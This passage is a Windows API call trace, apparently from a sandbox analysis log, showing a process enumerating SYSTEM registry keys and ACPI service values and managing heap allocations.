cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0178.014] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0178.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0178.014] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0178.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0178.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1d18, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0178.014] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0178.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0178.014] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0178.015] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0178.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0178.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0178.015] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0178.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0178.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0178.015] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0178.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0178.015] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0178.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0178.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0178.015] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0178.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0178.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0178.015] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0178.015] RegCloseKey (hKey=0x14c) returned 0x0 [0178.015] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0178.015] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0178.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0178.016] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0178.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0178.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0178.016] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0178.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0178.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0178.016] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0178.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0178.016] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0178.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0178.016] RegOpenKeyExW (in: hKey=0x140, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0178.016] RegCloseKey (hKey=0x140) returned 0x0 [0178.016] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0178.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.016] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0178.016] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0178.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0178.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1a00, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0178.017] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0178.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1d18, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0178.017] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0178.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0178.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1a00, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0178.017] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0178.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0178.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1d18, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0178.017] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0178.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0178.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1a00, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0178.017] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0178.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.017] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0178.017] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0178.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0178.018] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0178.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0178.018] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0178.018] RegEnumValueA (in: hKey=0x150, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d630 [0178.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0178.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0178.018] RegEnumValueA (in: hKey=0x150, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d268 [0178.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0178.018] RegEnumValueA (in: hKey=0x150, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3b8 [0178.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0178.018] RegEnumValueA (in: hKey=0x150, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d2f8 [0178.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0178.018] RegEnumValueA (in: hKey=0x150, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0178.018] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0178.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3a8 [0178.018] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0178.019] RegEnumValueA (in: hKey=0x150, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3d8 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0178.019] RegEnumValueA (in: hKey=0x150, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d398 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0178.019] RegEnumValueA (in: hKey=0x150, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d3c8 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0178.019] RegEnumValueA (in: hKey=0x150, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x21573f8 [0178.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252bc08) returned 1 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d498 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0178.019] RegEnumValueA (in: hKey=0x150, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4c8 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0178.019] RegEnumValueA (in: hKey=0x150, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0178.019] RegEnumValueA (in: hKey=0x150, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.019] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.019] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0178.020] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d518) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d268) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3b8) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d2f8) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3a8) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3d8) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d398) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d3c8) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d498) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4c8) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0178.020] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4e8) returned 1 [0178.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21573f8) returned 1 [0178.021] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 